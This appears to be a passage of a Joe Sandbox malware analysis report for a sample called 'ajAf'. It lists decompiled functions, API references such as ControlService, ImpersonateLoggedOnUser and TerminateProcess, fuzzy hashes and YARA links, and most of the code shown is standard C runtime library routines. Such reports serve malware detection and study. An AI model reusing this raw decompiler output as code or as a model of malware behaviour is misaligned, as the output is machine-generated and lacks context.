Opcode Fuzzy Hash: e3fcbb06ae81f5c0049bee0e3d058033293b6574906b04592b070c5e9967cd61
Instruction Fuzzy Hash: 7411E3B1D002499FDB10DFAAC884AEFFBF4FF48310F50842AE419A7250C779A9448FA5

Uniqueness

Uniqueness Score: -1.00%

Function 0223A0E8 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 0223A158

Memory Dump Source

Source File: 00000002.00000002.414771851.0000000002230000.00000040.00000800.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_ajAf.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: bca99899f7d6e463a4130bf6d8154c9a901c5f1671f826e725bfe5eb02255229
Instruction ID: 6921e4c7b862c99d1a836fb803dcdbae6c252bc560c335d74d58e065fcbde68d
Opcode Fuzzy Hash: bca99899f7d6e463a4130bf6d8154c9a901c5f1671f826e725bfe5eb02255229
Instruction Fuzzy Hash: 2711E4B1D006099FDB10CF9AC984BDEFBF4EB48310F108429E559A7250D379A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02239ED8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 02239F37

Memory Dump Source

Source File: 00000002.00000002.414771851.0000000002230000.00000040.00000800.00020000.00000000.sdmp, Offset: 02230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2230000_ajAf.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 7b7e89efb9bc3975a84b00fb7782188eac0698229c32850b9f6d1ffd01fde2d0
Instruction ID: 04dd1e0cb5d84e0da44cdab464b595739ad5e7207d06088cd46ca57cc71b6d27
Opcode Fuzzy Hash: 7b7e89efb9bc3975a84b00fb7782188eac0698229c32850b9f6d1ffd01fde2d0
Instruction Fuzzy Hash: EF1145B1900209CFDB20CF9AC984BDEFBF4EF49324F10846AD418A3240C779A984CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040D534(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x4234b4 = _t6;
				if(_t6 != 0) {
					 *0x4250b0 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040d549
0x0040d54f
0x0040d556
0x0040d55d
0x0040d563
0x0040d559
0x0040d559
0x0040d559

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA0A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E0040EA0A(intOrPtr _a4) {
				void* __ebp;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t5;
				void* _t8;

				_push(0);
				_push(0);
				_push(_a4);
				_t2 = E0040E8DE(_t3, _t4, _t5, _t8); // executed
				return _t2;
			}

0x0040ea0f
0x0040ea11
0x0040ea13
0x0040ea16
0x0040ea1f

APIs

_doexit.LIBCMT ref: 0040EA16

Part of subcall function 0040E8DE: __lock.LIBCMT ref: 0040E8EC
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E923
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E938
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E962
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E978
Part of subcall function 0040E8DE: __decode_pointer.LIBCMT ref: 0040E985
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9B4
Part of subcall function 0040E8DE: __initterm.LIBCMT ref: 0040E9C4

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: a0257ab8b89ab24c4dda27abc63ac43d0f25756bab2839dd78a8b277d7454467
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: D2B0923298420833EA202643AC03F063B1987C0B64E244031BA0C2E1E1A9A2A9618189

Uniqueness

Uniqueness Score: -1.00%

Function 01FC0920 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 01FC0929

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: cd6e8b06e9fc6daff329b0075f01cd6e00680555ed9156381d0d7b778eb813a9
Instruction ID: 3e9c807a23c100a99a722049cf7bfbcce58d99a4c5dbb09bf75c012b4819f226
Opcode Fuzzy Hash: cd6e8b06e9fc6daff329b0075f01cd6e00680555ed9156381d0d7b778eb813a9
Instruction Fuzzy Hash: D490047034435111DC703DFC0C01F0500013741730F7107107130FD5D5DC4055004157

Uniqueness

Uniqueness Score: -1.00%

Function 01F9D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.414527376.0000000001F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f9d000_ajAf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201344983253fab17d62c57c28b1fedebe0257d03632891613f17915983f1acb
Instruction ID: b4e70df78a12b33576b9bd73ee9fc0e633b2a40dc2b57d5ef624293c9fcd41d7
Opcode Fuzzy Hash: 201344983253fab17d62c57c28b1fedebe0257d03632891613f17915983f1acb
Instruction Fuzzy Hash: 7101F771908344EAFB115E59CC84B67BFD8EF817A4F28811AED4D1F25AC37A9805C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 01F9D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.414527376.0000000001F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 01F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1f9d000_ajAf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfc1a57616442b4668ee69d5549c6b30153dcb4b0f548eec930475f042193ada
Instruction ID: ebb1d97daacd0f39783d5b615e19f0c61919f2a3d46835bab03e3de1bd1a5b92
Opcode Fuzzy Hash: bfc1a57616442b4668ee69d5549c6b30153dcb4b0f548eec930475f042193ada
Instruction Fuzzy Hash: 70011B6140D3C09FE7128B258894A52BFB4AF43264F1981DBD9889F2A7C26A5849C772

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0x99931ded
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0x99931ded
				_v812 = _t12;
				_t13 =  *0x422238; // 0x666ce212
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce09
0x0040ce0f
0x0040ce11
0x0040ce11
0x00413644
0x00413649
0x0041364f
0x00413655
0x0041365b
0x00413661
0x00413667
0x0041366e
0x00413675
0x0041367c
0x00413683
0x0041368a
0x00413691
0x00413692
0x0041369b
0x004136a3
0x004136ab
0x004136b6
0x004136c0
0x004136c5
0x004136ca
0x004136d4
0x004136de
0x004136e3
0x004136e9
0x004136ee
0x004136fa
0x004136ff
0x00413701
0x00413709
0x00413714
0x00413721
0x00413723
0x00413725
0x0041372a
0x0041373e

APIs

IsDebuggerPresent.KERNEL32 ref: 004136F4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
TerminateProcess.KERNEL32(00000000), ref: 00413737

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 01FCD070 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 01FD395B
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 01FD3970
UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 01FD397B
GetCurrentProcess.KERNEL32(C0000409), ref: 01FD3997
TerminateProcess.KERNEL32(00000000), ref: 01FD399E

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction ID: 559e21929527b71b305ae754741d131f0bda493f3804924c381606384c17b5c6
Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
Instruction Fuzzy Hash: F52103B9A01204EFD720DF68ED4A6557FB0FB08356F804079E50D87262E7B96682CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ADB0(intOrPtr* __ecx) {
				void* _t5;
				intOrPtr* _t11;

				_t11 = __ecx;
				_t5 =  *(__ecx + 8);
				 *__ecx = 0x41eff0;
				if(_t5 != 0) {
					_t5 =  *((intOrPtr*)( *((intOrPtr*)( *_t5 + 8))))(_t5);
				}
				if( *(_t11 + 0xc) != 0) {
					_t5 = GetProcessHeap();
					if(_t5 != 0) {
						return HeapFree(_t5, 0,  *(_t11 + 0xc));
					}
				}
				return _t5;
			}

0x0040adb3
0x0040adb5
0x0040adb8
0x0040adc0
0x0040adc8
0x0040adc8
0x0040adce
0x0040add0
0x0040add8
0x00000000
0x0040ade1
0x0040add8
0x0040ade8

APIs

GetProcessHeap.KERNEL32 ref: 0040ADD0
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1

Memory Dump Source

Source File: 00000002.00000002.413978160.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.413978160.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.413978160.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ajAf.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58

Uniqueness

Uniqueness Score: -1.00%

Function 01FC0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.414584298.0000000001FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1fc0000_ajAf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: dc0d814f1a9316f36193728ce97dad20cf3399229c0dd3362e6abad7ca9e928d
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: E801F77AA00601CFDF22CF24C914BAE33E9EB85605F0940A8F50697242EB70A8429F90

Uniqueness

Uniqueness Score: -1.00%

Function 00417081 Relevance: 31.8, APIs: 21, Instructions: 340
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E00417081(short* __ecx, int _a4, signed int _a8, char* _a12, int _a16, char* _a20, int _a24, int _a28, intOrPtr _a32) {
				signed int _v8;
				int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				void* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t110;
				intOrPtr _t112;
				intOrPtr _t113;
				short* _t115;
				short* _t116;
				char* _t120;
				short* _t121;
				short* _t123;
				short* _t127;
				int _t128;
				short* _t141;
				signed int _t144;
				void* _t146;
				short* _t147;
				signed int _t150;
				short* _t153;
				char* _t157;
				int _t160;
				long _t162;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				int _t182;
				short* _t184;
				signed int _t186;
				signed int _t188;
				short* _t189;
				int _t191;
				intOrPtr _t194;
				int _t207;

				_t110 =  *0x422234; // 0x99931ded
				_v8 = _t110 ^ _t188;
				_t184 = __ecx;
				_t194 =  *0x423e7c; // 0x1
				if(_t194 == 0) {
					_t182 = 1;
					if(LCMapStringW(0, 0x100, 0x420398, 1, 0, 0) == 0) {
						_t162 = GetLastError();
						__eflags = _t162 - 0x78;
						if(_t162 == 0x78) {
							 *0x423e7c = 2;
						}
					} else {
						 *0x423e7c = 1;
					}
				}
				if(_a16 <= 0) {
					L13:
					_t112 =  *0x423e7c; // 0x1
					if(_t112 == 2 || _t112 == 0) {
						_v16 = 0;
						_v20 = 0;
						__eflags = _a4;
						if(_a4 == 0) {
							_a4 =  *((intOrPtr*)( *_t184 + 0x14));
						}
						__eflags = _a28;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t113 = E00417A20(0, _t179, _t182, _t184, _a4);
						_v24 = _t113;
						__eflags = _t113 - 0xffffffff;
						if(_t113 != 0xffffffff) {
							__eflags = _t113 - _a28;
							if(_t113 == _a28) {
								_t184 = LCMapStringA(_a4, _a8, _a12, _a16, _a20, _a24);
								L78:
								__eflags = _v16;
								if(__eflags != 0) {
									_push(_v16);
									E0040B6B5(0, _t182, _t184, __eflags);
								}
								_t115 = _v20;
								__eflags = _t115;
								if(_t115 != 0) {
									__eflags = _a20 - _t115;
									if(__eflags != 0) {
										_push(_t115);
										E0040B6B5(0, _t182, _t184, __eflags);
									}
								}
								_t116 = _t184;
								goto L84;
							}
							_t120 = E00417A69(_t179, _a28, _t113, _a12,  &_a16, 0, 0);
							_t191 =  &(_t189[0xc]);
							_v16 = _t120;
							__eflags = _t120;
							if(_t120 == 0) {
								goto L58;
							}
							_t121 = LCMapStringA(_a4, _a8, _t120, _a16, 0, 0);
							_v12 = _t121;
							__eflags = _t121;
							if(__eflags != 0) {
								if(__eflags <= 0) {
									L71:
									_t182 = 0;
									__eflags = 0;
									L72:
									__eflags = _t182;
									if(_t182 == 0) {
										goto L62;
									}
									E0040BA30(_t182, _t182, 0, _v12);
									_t123 = LCMapStringA(_a4, _a8, _v16, _a16, _t182, _v12);
									_v12 = _t123;
									__eflags = _t123;
									if(_t123 != 0) {
										_t186 = E00417A69(_t179, _v24, _a28, _t182,  &_v12, _a20, _a24);
										_v20 = _t186;
										asm("sbb esi, esi");
										_t184 =  ~_t186 & _v12;
										__eflags = _t184;
									} else {
										_t184 = 0;
									}
									E004147AE(_t182);
									goto L78;
								}
								__eflags = _t121 - 0xffffffe0;
								if(_t121 > 0xffffffe0) {
									goto L71;
								}
								_t127 =  &(_t121[4]);
								__eflags = _t127 - 0x400;
								if(_t127 > 0x400) {
									_t128 = E0040B84D(0, _t179, _t182, _t127);
									__eflags = _t128;
									if(_t128 != 0) {
										 *_t128 = 0xdddd;
										_t128 = _t128 + 8;
										__eflags = _t128;
									}
									_t182 = _t128;
									goto L72;
								}
								E0040CFB0(_t127);
								_t182 = _t191;
								__eflags = _t182;
								if(_t182 == 0) {
									goto L62;
								}
								 *_t182 = 0xcccc;
								_t182 = _t182 + 8;
								goto L72;
							}
							L62:
							_t184 = 0;
							goto L78;
						} else {
							goto L58;
						}
					} else {
						if(_t112 != 1) {
							L58:
							_t116 = 0;
							L84:
							return E0040CE09(_t116, 0, _v8 ^ _t188, _t179, _t182, _t184);
						}
						_v12 = 0;
						if(_a28 == 0) {
							_a28 =  *((intOrPtr*)( *_t184 + 4));
						}
						_t184 = MultiByteToWideChar;
						_t182 = MultiByteToWideChar(_a28, 1 + (0 | _a32 != 0x00000000) * 8, _a12, _a16, 0, 0);
						_t207 = _t182;
						if(_t207 == 0) {
							goto L58;
						} else {
							if(_t207 <= 0) {
								L28:
								_v16 = 0;
								L29:
								if(_v16 == 0) {
									goto L58;
								}
								if(MultiByteToWideChar(_a28, 1, _a12, _a16, _v16, _t182) == 0) {
									L52:
									E004147AE(_v16);
									_t116 = _v12;
									goto L84;
								}
								_t184 = LCMapStringW;
								_t174 = LCMapStringW(_a4, _a8, _v16, _t182, 0, 0);
								_v12 = _t174;
								if(_t174 == 0) {
									goto L52;
								}
								if((_a8 & 0x00000400) == 0) {
									__eflags = _t174;
									if(_t174 <= 0) {
										L44:
										_t184 = 0;
										__eflags = 0;
										L45:
										__eflags = _t184;
										if(_t184 != 0) {
											_t141 = LCMapStringW(_a4, _a8, _v16, _t182, _t184, _v12);
											__eflags = _t141;
											if(_t141 != 0) {
												_push(0);
												_push(0);
												__eflags = _a24;
												if(_a24 != 0) {
													_push(_a24);
													_push(_a20);
												} else {
													_push(0);
													_push(0);
												}
												_v12 = WideCharToMultiByte(_a28, 0, _t184, _v12, ??, ??, ??, ??);
											}
											E004147AE(_t184);
										}
										goto L52;
									}
									_t144 = 0xffffffe0;
									_t179 = _t144 % _t174;
									__eflags = _t144 / _t174 - 2;
									if(_t144 / _t174 < 2) {
										goto L44;
									}
									_t52 = _t174 + 8; // 0x8
									_t146 = _t174 + _t52;
									__eflags = _t146 - 0x400;
									if(_t146 > 0x400) {
										_t147 = E0040B84D(0, _t179, _t182, _t146);
										__eflags = _t147;
										if(_t147 != 0) {
											 *_t147 = 0xdddd;
											_t147 =  &(_t147[4]);
											__eflags = _t147;
										}
										_t184 = _t147;
										goto L45;
									}
									E0040CFB0(_t146);
									_t184 = _t189;
									__eflags = _t184;
									if(_t184 == 0) {
										goto L52;
									}
									 *_t184 = 0xcccc;
									_t184 =  &(_t184[4]);
									goto L45;
								}
								if(_a24 != 0 && _t174 <= _a24) {
									LCMapStringW(_a4, _a8, _v16, _t182, _a20, _a24);
								}
								goto L52;
							}
							_t150 = 0xffffffe0;
							_t179 = _t150 % _t182;
							if(_t150 / _t182 < 2) {
								goto L28;
							}
							_t25 = _t182 + 8; // 0x8
							_t152 = _t182 + _t25;
							if(_t182 + _t25 > 0x400) {
								_t153 = E0040B84D(0, _t179, _t182, _t152);
								__eflags = _t153;
								if(_t153 == 0) {
									L27:
									_v16 = _t153;
									goto L29;
								}
								 *_t153 = 0xdddd;
								L26:
								_t153 =  &(_t153[4]);
								goto L27;
							}
							E0040CFB0(_t152);
							_t153 = _t189;
							if(_t153 == 0) {
								goto L27;
							}
							 *_t153 = 0xcccc;
							goto L26;
						}
					}
				}
				_t178 = _a16;
				_t157 = _a12;
				while(1) {
					_t178 = _t178 - 1;
					if( *_t157 == 0) {
						break;
					}
					_t157 =  &(_t157[1]);
					if(_t178 != 0) {
						continue;
					}
					_t178 = _t178 | 0xffffffff;
					break;
				}
				_t160 = _a16 - _t178 - 1;
				if(_t160 < _a16) {
					_t160 = _t160 + 1;
				}
				_a16 = _t160;
				goto L13;
			}

0x00417089
0x00417090
0x00417098
0x0041709a
0x004170a0
0x004170a6
0x004170bb
0x004170c5
0x004170cb
0x004170ce
0x004170d0
0x004170d0
0x004170bd
0x004170bd
0x004170bd
0x004170bb
0x004170dd
0x00417101
0x00417101
0x00417109
0x004172bb
0x004172be
0x004172c1
0x004172c4
0x004172cb
0x004172cb
0x004172ce
0x004172d1
0x004172d8
0x004172d8
0x004172de
0x004172e4
0x004172e7
0x004172ea
0x004172f3
0x004172f6
0x004173ef
0x004173f1
0x004173f1
0x004173f4
0x004173f6
0x004173f9
0x004173fe
0x004173ff
0x00417402
0x00417404
0x00417406
0x00417409
0x0041740b
0x0041740c
0x00417411
0x00417409
0x00417412
0x00000000
0x00417412
0x00417309
0x0041730e
0x00417311
0x00417314
0x00417316
0x00000000
0x00000000
0x0041732a
0x0041732c
0x0041732f
0x00417331
0x0041733a
0x00417379
0x00417379
0x00417379
0x0041737b
0x0041737b
0x0041737d
0x00000000
0x00000000
0x00417384
0x0041739c
0x0041739e
0x004173a1
0x004173a3
0x004173bf
0x004173c1
0x004173c9
0x004173cb
0x004173cb
0x004173a5
0x004173a5
0x004173a5
0x004173cf
0x00000000
0x004173d4
0x0041733c
0x0041733f
0x00000000
0x00000000
0x00417341
0x00417344
0x00417349
0x00417362
0x00417368
0x0041736a
0x0041736c
0x00417372
0x00417372
0x00417372
0x00417375
0x00000000
0x00417375
0x0041734b
0x00417350
0x00417352
0x00417354
0x00000000
0x00000000
0x00417356
0x0041735c
0x00000000
0x0041735c
0x00417333
0x00417333
0x00000000
0x00000000
0x00000000
0x00000000
0x00417117
0x0041711a
0x004172ec
0x004172ec
0x00417414
0x00417425
0x00417425
0x00417120
0x00417126
0x0041712d
0x0041712d
0x00417130
0x00417153
0x00417155
0x00417157
0x00000000
0x0041715d
0x0041715d
0x004171a2
0x004171a2
0x004171a5
0x004171a8
0x00000000
0x00000000
0x004171c1
0x004172aa
0x004172ad
0x004172b2
0x00000000
0x004172b5
0x004171c7
0x004171db
0x004171dd
0x004171e2
0x00000000
0x00000000
0x004171ef
0x0041721a
0x0041721c
0x00417263
0x00417263
0x00417263
0x00417265
0x00417265
0x00417267
0x00417277
0x0041727d
0x0041727f
0x00417281
0x00417282
0x00417283
0x00417286
0x0041728c
0x0041728f
0x00417288
0x00417288
0x00417289
0x00417289
0x004172a0
0x004172a0
0x004172a4
0x004172a9
0x00000000
0x00417267
0x00417222
0x00417223
0x00417225
0x00417228
0x00000000
0x00000000
0x0041722a
0x0041722a
0x0041722e
0x00417233
0x0041724c
0x00417252
0x00417254
0x00417256
0x0041725c
0x0041725c
0x0041725c
0x0041725f
0x00000000
0x0041725f
0x00417235
0x0041723a
0x0041723c
0x0041723e
0x00000000
0x00000000
0x00417240
0x00417246
0x00000000
0x00417246
0x004171f4
0x00417213
0x00417213
0x00000000
0x004171f4
0x00417163
0x00417164
0x00417169
0x00000000
0x00000000
0x0041716b
0x0041716b
0x00417174
0x0041718a
0x00417190
0x00417192
0x0041719d
0x0041719d
0x00000000
0x0041719d
0x00417194
0x0041719a
0x0041719a
0x00000000
0x0041719a
0x00417176
0x0041717b
0x0041717f
0x00000000
0x00000000
0x00417181
0x00000000
0x00417181
0x00417157
0x00417109
0x004170df
0x004170e2
0x004170e5
0x004170e5
0x004170e8
0x00000000
0x00000000
0x004170ea
0x004170ed
0x00000000
0x00000000
0x004170ef
0x00000000
0x004170ef
0x004170f7
0x004170fb
0x004170fd
0x004170fd
0x004170fe
0x00000000

APIs

LCMapStringW.KERNEL32(00000000,00000100,00420398,00000001,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 004170B3
GetLastError.KERNEL32(?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000,?,7FFFFFFF,00000000,00000000,?,022918B8), ref: 004170C5
MultiByteToWideChar.KERNEL32(7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?,7FFFFFFF,?,00000000), ref: 00417151
_malloc.LIBCMT ref: 0041718A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171BD
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,7FFFFFFF,00000000,?,?,00000000,00000000,7FFFFFFF,00000000), ref: 004171D9
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,?,?), ref: 00417213
_malloc.LIBCMT ref: 0041724C
LCMapStringW.KERNEL32(?,00000400,00000400,00000000,00000000,?), ref: 00417277
WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0041729A
__freea.LIBCMT ref: 004172A4
__freea.LIBCMT ref: 004172AD
___ansicp.LIBCMT ref: 004172DE
___convertcp.LIBCMT ref: 00417309
LCMapStringA.KERNEL32(?,?,00000000,?,00000000,00000000,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?,?,?,?), ref: 0041732A
_malloc.LIBCMT ref: 00417362
_memset.LIBCMT ref: 00417384
LCMapStringA.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,7FFFFFFF,00000100,7FFFFFFF,?), ref: 0041739C
___convertcp.LIBCMT ref: 004173BA
__freea.LIBCMT ref: 004173CF
